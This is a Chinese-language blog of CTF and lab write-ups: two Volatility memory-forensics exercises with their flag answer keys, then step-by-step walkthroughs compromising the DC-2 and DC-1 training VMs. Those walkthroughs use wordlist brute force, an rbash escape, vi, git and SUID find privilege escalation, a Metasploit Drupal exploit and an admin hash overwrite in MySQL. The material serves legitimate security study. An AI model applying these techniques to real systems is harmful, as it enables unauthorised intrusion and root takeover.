还是之前刷的,今年听说国赛的赛制变了,感觉省赛也要变,又开始迷茫上了,有一说一不是很想打,做ctf都一个头两个大了,更别提内存取证和单机取证啊,啊啊啊,我好菜


题目介绍

收到通知,公司内部有一台闲置服务器发现了异常的流量,你是一名安全工程师,现在需要你对这台服务器进行数字取证

找出黑客成功入侵服务器的攻击时间

./volatility -f data.raw --profile Win7SP1x64 netscan

看到有httpd和phpstudy,既然是要找入侵成功的时间直接看搜搜阿帕奇的日志文件
2025-07-20T20:27:55.png
dump下来分析,直接string搜索状态为200
2025-07-20T20:28:06.png

找出黑客入侵系统后创建的后门账户

直接看历史执行命令

./volatility -f data.raw --profile Win7SP1x64 consoles

2025-07-20T20:28:15.png

找出黑客下载到服务器上的恶意文件

把filescan的输出内容写入file.log中,搜索download目录,得到恶意文件
2025-07-20T20:28:23.png

将系统之前的主机名称作为flag值提交

两种方式,一种通过查看注册表键值获取主机名,这种获取到主机名会及时更新,第二种方式通过应用程序的环境变量来获取主机名称,系统主机名更改后如果没有重启那么像”wininit.exe”这类的系统初始进程的环境变量值是不会及时改变的,通过此特性找到之前的主机名称

volatility -f data.raw --profile Win7SP1x64 envars|grep "COMPUTERNAME"

2025-07-20T20:28:33.png

将系统管理员的账户密码作为flag值提交

hashdump后john解密
2025-07-20T20:28:40.png

答案汇总

序号任务内容答案
1找出黑客成功入侵服务器的攻击时间flag{2023:21:23:07}
2找出黑客入侵系统后创建的后门账户
flag{hack2023+2023@wlaq}
3找出黑客下载到服务器上的恶意文件
flag{SunloginClient_13.1.0.48900_x64.exe}
4将系统之前的主机名称作为flag值提交
flag{WIN-I9E53BAQTFQ}
5将系统管理员的账户密码作为flag值提交
flag{Front242}

最近闲来无事,想着马上也要省赛了,做做内存取证,脑瓜子嗡嗡的,文章有点水,就别骂了。


A集团某服务器系统感染恶意程序,导致系统关键文件被破坏,请分析A集团提供的系统镜像和内存镜像,找到系统镜像中的恶意软件,分析恶意软件行为。
本任务素材清单:内存镜像(*.raw)。
请按要求完成该部分的工作任务。

序号任务内容答案
1请指出内存中疑似恶意进程.hack.ex
2请指出该员工使用的公司OA平台的密码liuling7541
3员工电脑使用的默认浏览器是什么Tor-Browser
4黑客传入一个木马文件并做了权限维持,请问木马文件名是什么h4ck3d!
5黑客传入一个木马,木马会向哪个地址发起回连192.168.9.64
6请提交该计算机中记录的重要联系人的家庭住址秋水省雁荡市碧波区千屿山庄1号
7员工在电脑上正在利用计算器进行运算,运算结果是多少352139

先查看镜像信息,看是什么系统的

volatility.exe -f raw.raw imageinfo

2025-07-20T20:24:26.png
然后查看进行,发现恶意的.hack.ex

volatility.exe -f raw.raw --profile=Win2008R2SP1x64 pslist

2025-07-20T20:24:36.png
用strings搜索pass文件,然后dump下来查看

./volatility -f raw.raw --profile=Win2008R2SP1x64 filescan | grep pass

./volatility -f raw.raw --profile=Win2008R2SP1x64 dumpfiles -Q 0x000000003e296f20  -D ./

2025-07-20T20:24:45.png
查询注册表

./volatility -f raw.raw --profile=Win2008R2SP1x64 printkey -K "Software\Microsoft\windows\shell\Associations\UrlAssociations\http\Userchoice"

2025-07-20T20:24:52.png
知道文件是啥了,dump下来看看

./volatility -f raw.raw --profile=Win2008R2SP1x64 dumpfiles -Q 0x000000003fb406f0  -D ./

2025-07-20T20:25:01.png
已知windows联系人文件为.contact后缀,搜索一下dump下来

./volatility -f raw.raw --profile=Win2008R2SP1x64 dumpfiles -Q 0x000000003de90340 -D ./

2025-07-20T20:25:45.png
搜索进程然后提取出calc.exe的信息

/volatility -f raw.raw --profile=Win2008R2SP1x64 pslist |grep calc.exe

./volatility -f raw.raw --profile=Win2008R2SP1x64 memdump -p 3060 -D ./

2025-07-20T20:25:53.png
然后用gimp打开
2025-07-20T20:26:40.png

DC-2

访问80端口,发现自动跳转到DC-2

信息收集

2025-07-20T20:18:48.png

收集ip

arp-scan -l

2025-07-20T20:19:01.png

扫描端口

nmap -sV 192.168.6.138

2025-07-20T20:19:17.png

修改一下hosts文件

vim /etc/hosts

2025-07-20T20:19:24.png

保存重新访问即可

flag1

访问80端口在首页发现flag,访问得到

2025-07-20T20:19:32.png

flag2

根据flag1的提示:“Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.”

意思应该就是用cewl

cewl http://dc-2 -w passwd.txt

密码有了。还缺登录框和账号,先扫一下目录

dirb http://dc-2

2025-07-20T20:19:42.png

感觉是登录框,访问看一下

http://dc-2/wp-admin/admin.php

2025-07-20T20:19:50.png

登录框有了,看到是Wordpress,联想到wpscan,使用wpscan枚举用户名

wpscan --url http://dc-2/ -e u

保存枚举出来的3个账号在users.txt

admin 
jerry 
tom

使用wpscan爆破账号密码

wpscan --url http://dc-2/ -U users.txt -P passwd.txt

2025-07-20T20:20:01.png
得到两组账号密码

jerry / adipiscing                                                                                                                                                                              
 tom / parturient  

尝试登录一下,登陆成功,翻寻得到flag2

2025-07-20T20:20:09.png

flag3

根据提示:如果你不能利用WordPress并走捷径,还有另一种方法。

希望你找到了另一个入口。

重新扫描端口看看

nmap -A -p 1-65535 -v 192.168.6.138

2025-07-20T20:20:24.png

发现还有一个7744是SSH端口,用wordpress的账号尝试一下,jerry尝试了登不上去,果断换tom

ssh tom@192.168.6.138 -p 7744

2025-07-20T20:20:39.png
一下子就上去了

看看当前目录有什么,看到有个flag3.txt查看试试

2025-07-20T20:21:38.png
发现命令没办法用,被“rbash”限制了

再看看还有什么命令是能用的

compgen -c

2025-07-20T20:21:47.png

发现有个vi,用vi看看

2025-07-20T20:21:54.png

flag4

提示:“Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.”

提到了tom和jerry和su

应该是让我们提权,然后去看看jerry和su

vi可以用 有一个vi的提权

vi随便打开文件
输入:
再下面添加
:set shell=/bin/sh
:shell

提权成功后,看看其他目录,发现jerry

cd ..
ls

2025-07-20T20:22:09.png
进入jerry的目录看看,发现flag4.txt,使用vi查看

2025-07-20T20:22:21.png

·flag5

提示:”Good to see that you’ve made it this far - but you’re not home yet.You still need to get the final flag (the only flag that really counts!!!).No hints here - you’re on your own now. :-)Go on - git outta here!!!“

还没结束,前面FLAG3有提示su。我们去看看root目录,想直接切去root目录

2025-07-20T20:22:50.png

不行,找到了个rbash环境变量的提权方法

export -p        //查看环境变量
BASH_CMDS[a]=/bin/sh;a        //把/bin/sh给a
/bin/bash
export PATH=$PATH:/bin/         //添加环境变量
export PATH=$PATH:/usr/bin      //添加环境变量

先返回tom的权限

2025-07-20T20:22:58.png

提权成功,su到Jerry的账号下,发现还是不能进入root目录

执行sudo -l看看
2025-07-20T20:23:10.png
发现可以用git提权

git提权的方法

sudo git help config #在末行命令模式输入 
!/bin/bash 或 !'sh' #完成提权 
sudo git -p help 
!/bin/bash #输入!/bin/bash,即可打开一个用户为root的shell

2025-07-20T20:23:23.png

提权成功,切换到root目录下,查看flag5(final-flag.txt)

2025-07-20T20:23:30.png

DC-1

信息收集

收集ip

arp-scan -l

image-20240131231958-99jlr01.png

扫描端口

nmap -sV 192.168.6.135

image-20240131232107-65t475e.png

访问80端口,可以看到CMS为Drupal

image-20240131232922-kkoe6j5.png

漏洞利用

使用msfconsole查看Drupal的模块

1.进入msfconsole

msfconsole

2.搜索Drupal漏洞模块

search Drupal

![image-20240131233359-04wrw4w.png][1]​

3.使用2018年的模块

use 1

4.查看需要配置的参数

show options

2025-07-20T20:09:00.png

yes的地方是必填的,默认基本上帮我们填好了。我们只需要填靶机IP即可也就是填RHOSTS

5.设置目标

set rhosts 192.168.6.135

6.攻击

run

2025-07-20T20:08:28.png

可以看到session的建立

7.获得shell

shell

为了方便看我们使用python进行反弹

python -c 'import pty; pty.spawn("/bin/bash")'

flag1

使用ls看到目录下有一个flag1.txt,使用cat读取

ls
cat flag1.txt

2025-07-20T20:09:25.png

给了个提示:Every good CMS needs a config file - and so do you.

每个好的CMS都需要一个配置文件——你也是。

flag2

根据提示搜索配置文件

find . -name "set*"

2025-07-20T20:09:41.png

发现有文件,读取看到flag2提示

flag2
*蛮力和字典攻击不是
*只有获得访问权限的方法(你将需要访问权限)。
*你能用这些证书做什么?

暴力破解的话想到前面80的登录框 意思应该是没办法暴力破解登录

后面的意思应该是后续需要我们提权操作

并且看到数据库账号密码

2025-07-20T20:10:01.png

flag3

尝试登录一下

mysql -udbuser -pR0ck3t

2025-07-20T20:10:10.png

查看库

show databases;

进入drupaldb库中

use drupaldb

2025-07-20T20:10:34.png
查看库中的表

show tables;

仔细观察可以看到有一个users的表

2025-07-20T20:10:44.png

查看表中内容

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向

2025-07-20T20:10:56.png

感觉admin的密码应该是某种hash加密,找找文件中有没有加密文件。

find . -name "*hash*"

2025-07-20T20:11:06.png

发现有加密文件,运行看一下

意思应该是直接再后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

2025-07-20T20:11:16.png

得到hash值,尝试去数据库中替换密码

SD6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl

update users set pass='$S$D6NX0yrvZhrfOp8fxqt4CpX17vvV22cHTqYcaUAMxwjh1PKFLUAl' where name='admin';

2025-07-20T20:11:28.png

替换成功,尝试登录,登录成功得到flag3提示

2025-07-20T20:11:37.png

提示:

特殊的PERMS将帮助查找passwd -但是您需要-执行该命令才能知道如何获得阴影中的内容。

flag4

根据提示的passwd,查看etc/passwd看看

cat /etc/passwd

发现里面有flag4,给了个路径/home/flag4

切换到flag4里面看看有什么文件

cd /home/flag4
ls

查看内容

cat flag4.txt

2025-07-20T20:11:53.png

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令

/ 根目录(查找位置)

-perm 权限

-u 用户(s=特权)

-type 类型

f 文件

2>/dev/nul 过滤错误信息(不显示错误信息)
2025-07-20T20:12:05.png

看到find,那就比较简单了。直接使用find提权

find / -exec /bin/bash \;

2025-07-20T20:12:16.png

再次查看flag4,得到提示

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

flag5

根据提示我们进入/root,ls查看目录下的文件

cd /root   
ls

可以看到有一个thefinalflag.txt 最后的flag

直接cat查看即可

cat thefinalflag.txt

获得最终的flag

Well done!!!!

Hopefully you've enjoyed this and learned some new skills.

You can let me know what you thought of this little journey
by contacting me via Twitter - @DCAU7